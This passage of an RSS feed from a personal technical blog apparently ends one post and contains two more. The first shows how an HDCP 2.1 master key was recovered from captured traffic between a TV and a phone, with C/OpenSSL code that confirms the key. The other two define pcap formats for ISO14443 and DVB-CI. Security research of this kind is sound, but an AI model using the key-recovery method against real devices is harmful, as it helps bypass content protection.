c9d0a0cf3dc0a232f3d7de82cc886fafd21039e65e6e08e8...&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&#34;paragraph&#34;&gt;&lt;p&gt;Therefore, &lt;em&gt;AKE_Send_Pairing_Info&lt;/em&gt; should contain the master key k&lt;sub&gt;m&lt;/sub&gt; forthe TV and the phone. It’s called E&lt;sub&gt;kh&lt;/sub&gt;(k&lt;sub&gt;m&lt;/sub&gt;) here, but it’s actually k&lt;sub&gt;m&lt;/sub&gt; :-)&lt;/p&gt;&lt;/div&gt;&lt;div class=&#34;listingblock&#34;&gt;&lt;div class=&#34;content&#34;&gt;&lt;pre&gt;$ tshark -r revert1.pcapng -R frame.number==5134 -O hdcp2Frame 5134: 83 bytes on wire (664 bits), 83 bytes captured (664 bits) oninterface 0...Transmission Control Protocol, Src Port: distinct (9999), Dst Port: 59500 (59500), Seq: 567, Ack: 139, Len: 17HDCP2    Message ID: AKE_Send_Pairing_Info (0x08)    E_kh_km: 2877f884625837fbc1da9ab40e5ad037&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&#34;sect1&#34;&gt;&lt;h2 id=&#34;_verify_that_the_master_key_is_correct&#34;&gt;Verify that the master key is correct&lt;/h2&gt;&lt;div class=&#34;sectionbody&#34;&gt;&lt;div class=&#34;paragraph&#34;&gt;&lt;p&gt;In order to verify that we actually have the master key k_m, we go back tothe original capture and calculate H. This value must match the H&amp;#39; that thephone sent in the &lt;em&gt;AKE_Send_H_prime&lt;/em&gt; message in frame 254.&lt;/p&gt;&lt;/div&gt;&lt;div class=&#34;paragraph&#34;&gt;&lt;p&gt;Here’s another code snippet for the calculation of H==H&amp;#39;, using OpenSSL.The function kd() calculates dkey&lt;sub&gt;0&lt;/sub&gt;|dkey&lt;sub&gt;1&lt;/sub&gt; by running two separate AESCTR encryptions. The input data for both encryptions is eight 0x00bytes. The init vectors are r&lt;sub&gt;tx&lt;/sub&gt;|0…​0 and r&lt;sub&gt;tx&lt;/sub&gt;|0…​01, respectively.&lt;/p&gt;&lt;/div&gt;&lt;div class=&#34;paragraph&#34;&gt;&lt;p&gt;dkey&lt;sub&gt;0&lt;/sub&gt;|dkey&lt;sub&gt;1&lt;/sub&gt; is then used as key for HMAC-SHA256(r&lt;sub&gt;tx&lt;/sub&gt;). The result is H.&lt;/p&gt;&lt;/div&gt;&lt;div class=&#34;listingblock&#34;&gt;&lt;div class=&#34;content&#34;&gt;&lt;pre&gt;#include &amp;lt;openssl/evp.h&amp;gt;#include &amp;lt;openssl/hmac.h&amp;gt;#define R_TX \   0x53, 0x4f, 0x13, 0x2b, 0xed, 0xb4, 0x05, 0xab#define K_M \ 0x28, 0x77, 0xf8, 0x84, 0x62, 0x58, 0x37, 0xfb, \ 0xc1, 0xda, 0x9a, 0xb4, 0x0e, 0x5a, 0xd0, 0x37#define NULL_BYTES \   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00#define KD_SIZE 32unsigned char *kd(void){   EVP_CIPHER_CTX ctx;   unsigned char km[] = { K_M };   unsigned char *buf = malloc(KD_SIZE);   unsigned char iv[] = { R_TX, NULL_BYTES };   unsigned char input[] = { NULL_BYTES, NULL_BYTES };   int ret;   unsigned char tmp[100];   int outl;   memset(buf, 0x0, KD_SIZE);   EVP_CIPHER_CTX_init(&amp;amp;ctx);   ret = EVP_EncryptInit_ex(&amp;amp;ctx, EVP_aes_128_ctr(), NULL, km, iv);   assert(ret == 1);   ret = EVP_EncryptUpdate(&amp;amp;ctx, buf, &amp;amp;outl, input, sizeof(input));   assert(ret == 1);   assert(outl == sizeof(input));   ret = EVP_EncryptFinal_ex(&amp;amp;ctx, tmp, &amp;amp;outl);   assert(ret == 1);   assert(outl == 0);   iv[sizeof(iv)-1] = 0x01; /* iv is now r_tx|0...01 */   ret = EVP_EncryptInit_ex(&amp;amp;ctx, EVP_aes_128_ctr(), NULL, km, iv);   assert(ret == 1);   ret = EVP_EncryptUpdate(&amp;amp;ctx, &amp;amp;buf[16], &amp;amp;outl, input, sizeof(input));   assert(ret == 1);   assert(outl == sizeof(input));   ret = EVP_EncryptFinal_ex(&amp;amp;ctx, tmp, &amp;amp;outl);   assert(ret == 1);   assert(outl == 0);   ret = EVP_CIPHER_CTX_cleanup(&amp;amp;ctx);   assert(ret == 1);   return buf;}int main(void){   HMAC_CTX ctx;   unsigned char res[200];   unsigned int resLen;   /* input == r_tx XOR REPEATER, but REPEATER==0 */   unsigned char input[] = { R_TX };   HMAC_CTX_init(&amp;amp;ctx);   HMAC_Init_ex(&amp;amp;ctx, kd(), KD_SIZE, EVP_sha256(), NULL);   HMAC_Update(&amp;amp;ctx, input, sizeof(input));   HMAC_Final(&amp;amp;ctx, res, &amp;amp;resLen);   /* print the result buffer */   HMAC_CTX_cleanup(&amp;amp;ctx);   return 0;}&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&#34;paragraph&#34;&gt;&lt;p&gt;Let’s run the calculation of H&lt;/p&gt;&lt;/div&gt;&lt;div class=&#34;listingblock&#34;&gt;&lt;div class=&#34;content&#34;&gt;&lt;pre&gt;$ ./hprimeres ==0x07, 0x69, 0x0c, 0xb4, 0x27, 0x4a, 0x6e, 0x2b, 0x7b, 0xa8, 0x4b, 0x22, 0x9d,0x47, 0x47, 0x73, 0x27, 0x47, 0x97, 0xf9, 0xad, 0x5a, 0xa3, 0xd7, 0x17, 0xf1,0xb7, 0x82, 0x1e, 0x95, 0xa8, 0xe5,&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&#34;paragraph&#34;&gt;&lt;p&gt;This is identical to the H&amp;#39; that the phone sent for the capturedauthentication. In other words, we have the master key k&lt;sub&gt;m&lt;/sub&gt; :-))&lt;/p&gt;&lt;/div&gt;&lt;div class=&#34;paragraph&#34;&gt;&lt;p&gt;Please note that this is not sufficient for decrypting the transmitedaudio/video content between the two devices. This would require that we knowthe license constant lc&lt;sub&gt;123&lt;/sub&gt;, which is available only to HDCP licensees.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&#34;sect1&#34;&gt;&lt;h2 id=&#34;_current_status&#34;&gt;Current status&lt;/h2&gt;&lt;div class=&#34;sectionbody&#34;&gt;&lt;div class=&#34;paragraph&#34;&gt;&lt;p&gt;The HDCP specification was updated to version 2.2.&lt;/p&gt;&lt;/div&gt;&lt;div class=&#34;paragraph&#34;&gt;&lt;p&gt;Samsung released an updated version of their SmartView application onAugust 30th.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&#34;sect1&#34;&gt;&lt;h2 id=&#34;_links&#34;&gt;Links&lt;/h2&gt;&lt;div class=&#34;sectionbody&#34;&gt;&lt;div class=&#34;ulist&#34;&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&#34;http://www.digital-cp.com/hdcp_technologies&#34;&gt;HDCP specification version 2.1&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&#34;http://blog.cryptographyengineering.com/2012/08/reposted-cryptanalysis-of-hdcp-v2.html&#34;&gt;Matthew Green’s security analysis of HDCP 2.1&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&#34;http://www.digital-cp.com/highbandwidth_digital_content_protection_interface_independent_adaptation_revision_22&#34;&gt;HDCP specification version 2.2&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&#34;http://www.gnu.org/software/libgcrypt/&#34;&gt;libgcrypt homepage&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&#34;http://anonsvn.wireshark.org/viewvc/trunk/epan/dissectors/packet-hdcp2.c&#34;&gt;wireshark HDCPv2 dissector&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&#34;sect1&#34;&gt;&lt;h2 id=&#34;_questions_comments&#34;&gt;Questions, comments&lt;/h2&gt;&lt;div class=&#34;sectionbody&#34;&gt;&lt;div class=&#34;paragraph&#34;&gt;&lt;p&gt;Please send any questions or comments to &amp;#39;www(at)kaiser(dot)cx&amp;#39;&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
     </item>
   
     <item>
       <title>PCAP format for ISO14443</title>
       <link>https://www.kaiser.cx/posts/pcap-iso14443/</link>
       <pubDate>Sat, 02 Jan 2021 19:47:04 +0100</pubDate>
       
       <guid>https://www.kaiser.cx/posts/pcap-iso14443/</guid>
       <description>&lt;div class=&#34;sect1&#34;&gt;&lt;h2 id=&#34;_introduction&#34;&gt;Introduction&lt;/h2&gt;&lt;div class=&#34;sectionbody&#34;&gt;&lt;div class=&#34;paragraph&#34;&gt;&lt;p&gt;ISO14443 is a series of standards describing the interface between acontactless smartcard (PICC == Proximity Integrated Circuit Card) and acard reader (PCD == Proximity Coupling Device). Contactless smartcardsare used e.g. for payment, ticketing and entrance control.&lt;/p&gt;&lt;/div&gt;&lt;div class=&#34;paragraph&#34;&gt;&lt;p&gt;This page defines a format to store captured ISO14443 data in a pcap ora pcapng file.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&#34;sect1&#34;&gt;&lt;h2 id=&#34;_data_link_type&#34;&gt;Data Link Type&lt;/h2&gt;&lt;div class=&#34;sectionbody&#34;&gt;&lt;div class=&#34;paragraph&#34;&gt;&lt;p&gt;264 (&lt;em&gt;DLT_ISO_14443&lt;/em&gt;) was assigned for ISO14443.&lt;/p&gt;&lt;/div&gt;&lt;div class=&#34;paragraph&#34;&gt;&lt;p&gt;For pcap files, this value shall be set in the global header’s &lt;em&gt;network&lt;/em&gt;field. Pcapng defines an Interface Description Block, its &lt;em&gt;LinkType&lt;/em&gt;must be set to this value.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&#34;sect1&#34;&gt;&lt;h2 id=&#34;_time_stamps&#34;&gt;Time stamps&lt;/h2&gt;&lt;div class=&#34;sectionbody&#34;&gt;&lt;div class=&#34;paragraph&#34;&gt;&lt;p&gt;Time stamps must be set as required by the pcap or pcapngspecifications.&lt;/p&gt;&lt;/div&gt;&lt;div class=&#34;paragraph&#34;&gt;&lt;p&gt;Not all ISO14443 capturing hardware may be capable of delivering timestamps. In this case, the software that writes the pcap(ng) files has tofill in reasonable values.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&#34;sect1&#34;&gt;&lt;h2 id=&#34;_packet_data&#34;&gt;Packet Data&lt;/h2&gt;&lt;div class=&#34;sectionbody&#34;&gt;&lt;div class=&#34;paragraph&#34;&gt;&lt;p&gt;The packet data consists of an ISO14443 pseudo header plus the capturedISO1443 data.&lt;/p&gt;&lt;/div&gt;&lt;table class=&#34;tableblock frame-all grid-all&#34; style=&#34;width: 30%;&#34;&gt;&lt;colgroup&gt;&lt;col style=&#34;width: 50%;&#34;/&gt;&lt;col style=&#34;width: 50%;&#34;/&gt;&lt;/colgroup&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&#34;tableblock halign-left valign-top&#34;&gt;&lt;p class=&#34;tableblock&#34;&gt;pseudo header&lt;/p&gt;&lt;/td&gt;&lt;td class=&#34;tableblock halign-left valign-top&#34;&gt;&lt;p class=&#34;tableblock&#34;&gt;data&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div class=&#34;sect2&#34;&gt;&lt;h3 id=&#34;_pseudo_header&#34;&gt;pseudo-header&lt;/h3&gt;&lt;div class=&#34;paragraph&#34;&gt;&lt;p&gt;The pseudo-header has information about the type of the captured data.&lt;/p&gt;&lt;/div&gt;&lt;div class=&#34;listingblock&#34;&gt;&lt;div class=&#34;content&#34;&gt;&lt;pre&gt;struct iso1443_header {    u_int8_t    version;    u_int8_t    event;    u_int16_t   len;} __attribute__((__packed__));&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&#34;ulist&#34;&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;em&gt;version&lt;/em&gt; is set to 0 for now&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;em&gt;event&lt;/em&gt; describes the captured event, the possible values are listed below&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;table class=&#34;tableblock frame-all grid-all stretch&#34;&gt;&lt;colgroup&gt;&lt;col style=&#34;width: 35%;&#34;/&gt;&lt;col style=&#34;width: 10%;&#34;/&gt;&lt;col style=&#34;width: 55%;&#34;/&gt;&lt;/colgroup&gt;&lt;thead&gt;&lt;tr&gt;&lt;th class=&#34;tableblock halign-left valign-top&#34;&gt;event name&lt;/th&gt;&lt;th class=&#34;tableblock halign-center valign-top&#34;&gt;value&lt;/th&gt;&lt;th class=&#34;tableblock halign-left valign-top&#34;&gt;description&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&#34;tableblock halign-left valign-top&#34;&gt;&lt;p class=&#34;tableblock&#34;&gt;DATA_PICC_TO_PCD&lt;/p&gt;&lt;/td&gt;&lt;td class=&#34;tableblock halign-center valign-top&#34;&gt;&lt;p class=&#34;tableblock&#34;&gt;0xFF&lt;/p&gt;&lt;/td&gt;&lt;td class=&#34;tableblock halign-left valign-top&#34;&gt;&lt;p class=&#34;tableblock&#34;&gt;data transfer from the card to the reader&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&#34;tableblock halign-left valign-top&#34;&gt;&lt;p class=&#34;tableblock&#34;&gt;DATA_PCD_TO_PICC&lt;/p&gt;&lt;/td&gt;&lt;td class=&#34;tableblock halign-center valign-top&#34;&gt;&lt;p class=&#34;tableblock&#34;&gt;0xFE&lt;/p&gt;&lt;/td&gt;&lt;td class=&#34;tableblock halign-left valign-top&#34;&gt;&lt;p class=&#34;tableblock&#34;&gt;data transfer from the reader to the card&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&#34;tableblock halign-left valign-top&#34;&gt;&lt;p class=&#34;tableblock&#34;&gt;FIELD_OFF&lt;/p&gt;&lt;/td&gt;&lt;td class=&#34;tableblock halign-center valign-top&#34;&gt;&lt;p class=&#34;tableblock&#34;&gt;0xFD&lt;/p&gt;&lt;/td&gt;&lt;td class=&#34;tableblock halign-left valign-top&#34;&gt;&lt;p class=&#34;tableblock&#34;&gt;the reader switches the electrical field off&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&#34;tableblock halign-left valign-top&#34;&gt;&lt;p class=&#34;tableblock&#34;&gt;FIELD_ON&lt;/p&gt;&lt;/td&gt;&lt;td class=&#34;tableblock halign-center valign-top&#34;&gt;&lt;p class=&#34;tableblock&#34;&gt;0xFC&lt;/p&gt;&lt;/td&gt;&lt;td class=&#34;tableblock halign-left valign-top&#34;&gt;&lt;p class=&#34;tableblock&#34;&gt;the reader switches the electrical field on&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&#34;tableblock halign-left valign-top&#34;&gt;&lt;p class=&#34;tableblock&#34;&gt;DATA_PICC_TO_PCD_CRC_DROPPED&lt;/p&gt;&lt;/td&gt;&lt;td class=&#34;tableblock halign-center valign-top&#34;&gt;&lt;p class=&#34;tableblock&#34;&gt;0xFB&lt;/p&gt;&lt;/td&gt;&lt;td class=&#34;tableblock halign-left valign-top&#34;&gt;&lt;p class=&#34;tableblock&#34;&gt;data transfer from the card to thereader, the hardware did not capture the CRC bytes&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&#34;tableblock halign-left valign-top&#34;&gt;&lt;p class=&#34;tableblock&#34;&gt;DATA_PCD_TO_PICC_CRC_DROPPED&lt;/p&gt;&lt;/td&gt;&lt;td class=&#34;tableblock halign-center valign-top&#34;&gt;&lt;p class=&#34;tableblock&#34;&gt;0xFA&lt;/p&gt;&lt;/td&gt;&lt;td class=&#34;tableblock halign-left valign-top&#34;&gt;&lt;p class=&#34;tableblock&#34;&gt;data transfer from the reader tothe card, the hardware did not capture the CRC bytes&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div class=&#34;ulist&#34;&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;em&gt;len&lt;/em&gt; is the length of the bytes following the pseudo header. It’s stored innetwork byte order (big endian).&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&#34;sect2&#34;&gt;&lt;h3 id=&#34;_data&#34;&gt;data&lt;/h3&gt;&lt;div class=&#34;paragraph&#34;&gt;&lt;p&gt;The data following the iso1443_header depend on &lt;em&gt;iso1443_header.event&lt;/em&gt;&lt;/p&gt;&lt;/div&gt;&lt;div class=&#34;sect3&#34;&gt;&lt;h4 id=&#34;_field_off_or_field_on&#34;&gt;&lt;em&gt;FIELD_OFF&lt;/em&gt; or &lt;em&gt;FIELD_ON&lt;/em&gt;&lt;/h4&gt;&lt;div class=&#34;paragraph&#34;&gt;&lt;p&gt;For these events, the data part is empty. &lt;em&gt;iso14443_header.len&lt;/em&gt; must be set to 0.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&#34;sect3&#34;&gt;&lt;h4 id=&#34;_data_picc_to_pcd_or_data_pcd_to_picc&#34;&gt;&lt;em&gt;DATA_PICC_TO_PCD&lt;/em&gt; or &lt;em&gt;DATA_PCD_TO_PICC&lt;/em&gt;&lt;/h4&gt;&lt;div class=&#34;paragraph&#34;&gt;&lt;p&gt;The data part contains one of the following elements&lt;/p&gt;&lt;/div&gt;&lt;div class=&#34;ulist&#34;&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;a short frame as defined in ISO14443-3, section 6.2.3.1&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;a standard frame as defined in ISO14443-3, section 6.2.3.2&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;a bit-oriented anticollision frame (ISO14443-3, section 6.2.3.3)&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;a frame used by type B cards (ISO14443-3, section 7.1.3)&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;an activation command (ISO14443-4, section 5.1 and 5.2)&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;an I-, R- or S-block as defined in section 7.1 of the ISO14443-4 standard&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class=&#34;paragraph&#34;&gt;&lt;p&gt;Short frames, standard frames and bit-oriented anticollision frames arestored as a sequence of bytes without start, end and parity bits. Ashort frame is only 7bits, it’s encoded as one byte with bit 8 set to 0.&lt;/p&gt;&lt;/div&gt;&lt;div class=&#34;paragraph&#34;&gt;&lt;p&gt;The frame for type B cards is also stored as a sequence of bytes, theSOF and EOF bits are not included.&lt;/p&gt;&lt;/div&gt;&lt;div class=&#34;paragraph&#34;&gt;&lt;p&gt;If the frame contains two trailing CRC bytes, they must be included inthe captured data.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&#34;sect3&#34;&gt;&lt;h4 id=&#34;_data_picc_to_pcd_crc_dropped_or_data_pcd_to_picc_crc_dropped&#34;&gt;&lt;em&gt;DATA_PICC_TO_PCD_CRC_DROPPED&lt;/em&gt; or &lt;em&gt;DATA_PCD_TO_PICC_CRC_DROPPED&lt;/em&gt;&lt;/h4&gt;&lt;div class=&#34;paragraph&#34;&gt;&lt;p&gt;Those two events are defined for capturing hardware that is not able tocapture the trailing CRC bytes that are part of most ISO14443 messages.&lt;/p&gt;&lt;/div&gt;&lt;div class=&#34;paragraph&#34;&gt;&lt;p&gt;The data part is the same as for DATA_PICC_TO_PCD or DATA_PCD_TO_PICCwith the exception that the two trailing CRC bytes are missing.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&#34;sect1&#34;&gt;&lt;h2 id=&#34;_examples&#34;&gt;Examples&lt;/h2&gt;&lt;div class=&#34;sectionbody&#34;&gt;&lt;div class=&#34;paragraph&#34;&gt;&lt;p&gt;A WUPA command sent by the reader to check if a card is present. AWUPA is sent in a short frame.&lt;/p&gt;&lt;/div&gt;&lt;div class=&#34;listingblock&#34;&gt;&lt;div class=&#34;content&#34;&gt;&lt;pre&gt;0x00 0xFE 0x00 0x01 0x52&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&#34;paragraph&#34;&gt;&lt;p&gt;The card sends an I-block to the reader.(The I-block contains an APDU fragment.)&lt;/p&gt;&lt;/div&gt;&lt;div class=&#34;listingblock&#34;&gt;&lt;div class=&#34;content&#34;&gt;&lt;pre&gt;0x00 0xFF 0x00 0x10 0x12 0x00 0xA4 0x040x00 0x50 0x31 0xE5 0x03 0x04 0x05 0x060x07 0x08 0xE8 0xBF&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&#34;sect1&#34;&gt;&lt;h2 id=&#34;_links&#34;&gt;Links&lt;/h2&gt;&lt;div class=&#34;sectionbody&#34;&gt;&lt;div class=&#34;ulist&#34;&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&#34;http://wiki.wireshark.org/Development/LibpcapFileFormat&#34;&gt;libpcap file format&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&#34;https://github.com/pcapng/pcapng&#34;&gt;pcapng draft specification&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&#34;http://www.tcpdump.org/linktypes.html&#34;&gt;list of link-layer header types&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&#34;http://www.wireshark.org&#34;&gt;Wireshark homepage&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&#34;http://wg8.de/wg8n1496_17n3613_Ballot_FCD14443-3.pdf&#34;&gt;ISO14443-3 standard&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&#34;http://wg8.de/wg8n1344_17n3269_Ballot_FCD14443-4.pdf&#34;&gt;ISO14443-4 standard&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&#34;sect1&#34;&gt;&lt;h2 id=&#34;_questions_comments&#34;&gt;Questions, comments&lt;/h2&gt;&lt;div class=&#34;sectionbody&#34;&gt;&lt;div class=&#34;paragraph&#34;&gt;&lt;p&gt;Please send any questions or comments to &amp;#39;www(at)kaiser(dot)cx&amp;#39;&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
     </item>
   
     <item>
       <title>PCAP format for DVB-CI</title>
       <link>https://www.kaiser.cx/posts/pcap-dvbci/</link>
       <pubDate>Sat, 02 Jan 2021 19:41:45 +0100</pubDate>
       
       <guid>https://www.kaiser.cx/posts/pcap-dvbci/</guid>
       <description>&lt;div class=&#34;sect1&#34;&gt;&lt;h2 id=&#34;_introduction&#34;&gt;Introduction&lt;/h2&gt;&lt;div class=&#34;sectionbody&#34;&gt;&lt;div class=&#34;paragraph&#34;&gt;&lt;p&gt;This page defines a format to store captured DVB-CI (Common Interface)data in a pcap or a pcapng file. The wireshark dissector for DVB-CI usesthis format as its input data.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&#34;sect1&#34;&gt;&lt;h2 id=&#34;_global_header&#34;&gt;Global Header&lt;/h2&gt;&lt;div class=&#34;sectionbody&#34;&gt;&lt;div class=&#34;paragraph&#34;&gt;&lt;p&gt;235 (&lt;em&gt;DLT_DVB_CI&lt;/em&gt;) was assigned for DVB-CI.&lt;/p&gt;&lt;/div&gt;&lt;div class=&#34;paragraph&#34;&gt;&lt;p&gt;For pcap files, this value shall be set in the global header’s &lt;em&gt;network&lt;/em&gt;field. Pcapng defines an Interface Description Block, its &lt;em&gt;LinkType&lt;/em&gt;must be set to this value.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&#34;sect1&#34;&gt;&lt;h2 id=&#34;_time_stamps&#34;&gt;Time stamps&lt;/h2&gt;&lt;div class=&#34;sectionbody&#34;&gt;&lt;div class=&#34;paragraph&#34;&gt;&lt;p&gt;Time stamps must be set as required by the pcap or pcapngspecifications.&lt;/p&gt;&lt;/div&gt;&lt;div class=&#34;paragraph&#34;&gt;&lt;p&gt;Not all DVB-CI capturing hardware may be capable of delivering timestamps. In this case, the software that writes the pcap files has tofill in reasonable values.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&#34;sect1&#34;&gt;&lt;h2 id=&#34;_packet_data&#34;&gt;Packet Data&lt;/h2&gt;&lt;div class=&#34;sectionbody&#34;&gt;&lt;div class=&#34;paragraph&#34;&gt;&lt;p&gt;The packet data consists of a DVB-CI pseudo header plus the DVB-CI data.&lt;/p&gt;&lt;/div&gt;&lt;table class=&#34;tableblock frame-all grid-all&#34; style=&#34;width: 30%;&#34;&gt;&lt;colgroup&gt;&lt;col style=&#34;width: 50%;&#34;/&gt;&lt;col style=&#34;width: 50%;&#34;/&gt;&lt;/colgroup&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&#34;tableblock halign-left valign-top&#34;&gt;&lt;p class=&#34;tableblock&#34;&gt;pseudo header&lt;/p&gt;&lt;/td&gt;&lt;td class=&#34;tableblock halign-left valign-top&#34;&gt;&lt;p class=&#34;tableblock&#34;&gt;data&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div class=&#34;sect2&#34;&gt;&lt;h3 id=&#34;_pseudo_header&#34;&gt;pseudo-header&lt;/h3&gt;&lt;div class=&#34;paragraph&#34;&gt;&lt;p&gt;The pseudo-header has information about the type of the captured data.&lt;/p&gt;&lt;/div&gt;&lt;div class=&#34;listingblock&#34;&gt;&lt;div class=&#34;content&#34;&gt;&lt;pre&gt;struct dvbci_header {    u_int8_t    version;    u_int8_t    event;    u_int16_t   len;} __attribute__((__packed__));&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&#34;ulist&#34;&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;em&gt;version&lt;/em&gt; is set to 0 for now&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;em&gt;event&lt;/em&gt; describes the captured event, the possible values are listed below&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;table class=&#34;tableblock frame-all grid-all stretch&#34;&gt;&lt;colgroup&gt;&lt;col style=&#34;width: 35%;&#34;/&gt;&lt;col style=&#34;width: 10%;&#34;/&gt;&lt;col style=&#34;width: 55%;&#34;/&gt;&lt;/colgroup&gt;&lt;thead&gt;&lt;tr&gt;&lt;th class=&#34;tableblock halign-left valign-top&#34;&gt;event name&lt;/th&gt;&lt;th class=&#34;tableblock halign-center valign-top&#34;&gt;value&lt;/th&gt;&lt;th class=&#34;tableblock halign-left valign-top&#34;&gt;description&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&#34;tableblock halign-left valign-top&#34;&gt;&lt;p class=&#34;tableblock&#34;&gt;DATA_CAM_TO_HOST&lt;/p&gt;&lt;/td&gt;&lt;td class=&#34;tableblock halign-center valign-top&#34;&gt;&lt;p class=&#34;tableblock&#34;&gt;0xFF&lt;/p&gt;&lt;/td&gt;&lt;td class=&#34;tableblock halign-left valign-top&#34;&gt;&lt;p class=&#34;tableblock&#34;&gt;data transfer from CI Module to Host&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&#34;tableblock halign-left valign-top&#34;&gt;&lt;p class=&#34;tableblock&#34;&gt;DATA_HOST_TO_CAM&lt;/p&gt;&lt;/td&gt;&lt;td class=&#34;tableblock halign-center valign-top&#34;&gt;&lt;p class=&#34;tableblock&#34;&gt;0xFE&lt;/p&gt;&lt;/td&gt;&lt;td class=&#34;tableblock halign-left valign-top&#34;&gt;&lt;p class=&#34;tableblock&#34;&gt;data transfer from Host to CI Module&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&#34;tableblock halign-left valign-top&#34;&gt;&lt;p class=&#34;tableblock&#34;&gt;CIS_READ&lt;/p&gt;&lt;/td&gt;&lt;td class=&#34;tableblock halign-center valign-top&#34;&gt;&lt;p class=&#34;tableblock&#34;&gt;0xFD&lt;/p&gt;&lt;/td&gt;&lt;td class=&#34;tableblock halign-left valign-top&#34;&gt;&lt;p class=&#34;tableblock&#34;&gt;Host reads the Card Information Structure (CIS)&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&#34;tableblock halign-left valign-top&#34;&gt;&lt;p class=&#34;tableblock&#34;&gt;COR_WRITE&lt;/p&gt;&lt;/td&gt;&lt;td 